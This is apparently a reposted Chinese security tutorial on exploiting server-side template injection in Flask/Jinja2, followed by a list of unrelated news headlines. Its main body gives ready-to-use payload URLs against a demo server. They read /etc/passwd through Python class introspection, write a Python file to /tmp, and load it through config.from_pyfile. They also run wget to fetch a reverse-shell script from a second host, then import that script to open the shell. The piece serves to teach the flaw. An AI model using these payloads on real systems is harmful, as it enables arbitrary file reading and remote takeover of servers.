FlaskJinja2 開發中遇到的的服務端注入問題研究 II
0x00. 前言
本篇文章是 《Flask Jinja2 開發中遇到的的服務端注入問題研究》<點擊閱讀原文查看鏈接>續篇,我們繼續研究 Flask Jinja2開發中遇到的SSTI問題,本篇文章會介紹新的利用方式。
0×01. 測試代碼
為了更好地演示Flask/Jinja2 開發中的SSTI問題,我們搭建一個小的POC程序,主要由兩個python腳本組成, 其中page_not_found 存在SSTI漏洞:
Flask-test.py
Config.py
執行 python Flask-test.py
0×02. Flask/Jinja2 開發中的SSTI 利用之任意文件讀取
先介紹一些概念
關於類對象
instance.__class__ 可以獲取當前實例的類對象
我們知道python中新式類(也就是顯示繼承object對象的類)都有一個屬性__class__可以獲取到當前實例對應的類,隨便選擇一個簡單的新
式類實例,比如」,一個空字元串,就是一個新式類實例,所以」.__class__ 就可以獲取到實例對應的類(也就是
類對象中的屬性__mro__
class.__mro__ 獲取當前類對象的所有繼承類
python中類對象有一個屬性__mro__, 這個屬性返回一個tuple對象,這個對象包含了當前類對象所有繼承的基類,tuple中元素的順序就是MRO(Method Resolution Order) 尋找的順序
http://10.1.100.3:5000/{{」.__class__.__mro__}}
從結果中可以發現」對應的類對象str繼承的順序是basestring->object
類對象中的方法__subclasses__()
每一個新式類都保留了它所有的子類的引用,__subclasses__()這個方法返回了類的所有存活的子類的引用(注意是類對象引用,不是實例)
我們知道python中的類都是繼承object的,所以只要調用object類對象的__subclasses__()方法就可以獲取我們想要的類的對象,比如用於讀取文件的file對象
開始漏洞利用
首先獲取object對象的所有子類引用列表
http://10.1.100.3:5000/{{」.__class__.__mro__[2].__subclasses__()}}
」.__class__.__mro__[2] 獲取的就是object 類對象(
從執行結果中可以看到,獲取到非常多的子類類對象引用,這裡我們比較關注的是file類對象(
我們選取file 類對象,並實例化一個匿名實例,給其傳入參數 『/etc/passwd』
http://10.1.100.3:5000/{{」.__class__.__mro__[2].__subclasses__()[40](『/etc/passwd』).read()}}
可以看到成功實現了任意文件讀取
0×03. Flask/Jinja2 開發中的SSTI 利用之遠程代碼執行
1 首先向伺服器寫入一個py代碼的文件/tmp/tmp.cfg
訪問如下URL
http://10.1.100.3:5000/{{」.__class__.__mro__[2].__subclasses__()[40](『/tmp/tmp.cfg』, 『w』).write(『from subprocess import check_output
RUNCMD = check_output
『)}}
註: 這裡需要注意直接在瀏覽器中訪問這個URL,瀏覽器自動將
變成/n, 所以要用burpsuite 的repeater 功能輔助一下
至此寫入文件成功
2 利用Flask Template Globals 中的config上下文對象導入py代碼
上一篇《Flask Jinja2開發中遇到的的服務端注入問題研究》中我們提到了render_template_string 函數中第二個參數context 這個上下文對象參數 默認值中就包含了Flask Template Globals 所有的全局變數,其中就包括config這個上下文對象(源代碼Flask/config.py), from_pyfile 用於導入指定的py文件,源代碼如下:
這段代碼的意思就是將指定的py文件導入,然後將導入的py文件中的大寫成員屬性加入到config這個上下文對象中(這就是為什麼我用RUNCMD了,大寫)
先訪問:
http://10.1.100.3:5000/{{config.from_pyfile(『/tmp/tmp.cfg』)}}
再訪問:
http://10.1.100.3:5000/{{config.items()}}
至此,我們已經將RUNCMD導入到config這個模板上下文對象中了,而RUNCMD指向subprocess.check_output
3 利用注入的RUNCMD 執行系統命令下載反彈shell
訪問:
http://10.1.100.3:5000/{{config["RUNCMD"](『/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x』, shell=True)}}
從執行結果來看,反彈shell下載成功
4 利用config 上下文對象的from_pyfile方法導入反彈shell
我們知道python在導入模塊的同時也會執行腳本中部分代碼(class 和方法的定義不會執行),利用這一點,就可以執行反彈shell 了
訪問:
http://10.1.100.3:5000/{{config.from_pyfile(『/tmp/x』)}}
成功反彈shell
* 本文作者:ForrestX386,轉載請註明來自FreeBuf.COM


※企業被黑客攻擊,「懟回去」合法嗎?
※「同形異義字」釣魚攻擊,釘釘中招
※深度追蹤WannaCry源頭軼事
TAG:FreeBuf |
※Instagram發布新視頻服務挑戰YouTube
※uCloudlink 推出創新移動數據服務 「GlocalMe Inside」
※Box、IBM推出了新的、使用Watson的Box Skills構建服務
※微軟發布第二代Azure Data Lake Storage服務預覽版
※Google為開發者提供Cloud Filestore雲存儲服務
※參考Tableau,DataHunter提供敏捷BI和AI決策服務發力風口行業
※Dover Street Market LA 將提供 DIY 服務
※WannaMine新動向:對Weblogic服務端發起大規模攻擊
※Google發布YouTube音樂和YouTube Premium服務
※2018年Automechanika Ho Chi Minh City盛大開幕,為發展蓬勃的越南汽車服務業注入新動力
※使用BurpSuite的Collaborator查找.Onion隱藏服務的真實IP地址
※Rackspace推出Kubernetes即服務產品,並收購RelationEdge
※Beatport收購Pulselocker,打造下一代DJ流媒體服務
※Uber推出Eats for Business商務訂餐服務
※雙向選擇的聯手|GENEWIZ與Brooks Automation合併,延伸基因組學服務
※Istio技術與實踐02:源碼解析之Istio on Kubernetes 統一服務發現
※spring-cloud 服務網關中的 Timeout 設置
※Alex Kipman率Microsoft團隊到訪,共話VR/MR智能裝備與Azure IoT Edge雲服務
※GlobalFoundries宣布成立Avera Semi全資子公司,聚焦ASIC服務
※Google Project Fi得到了一個改進的VPN服務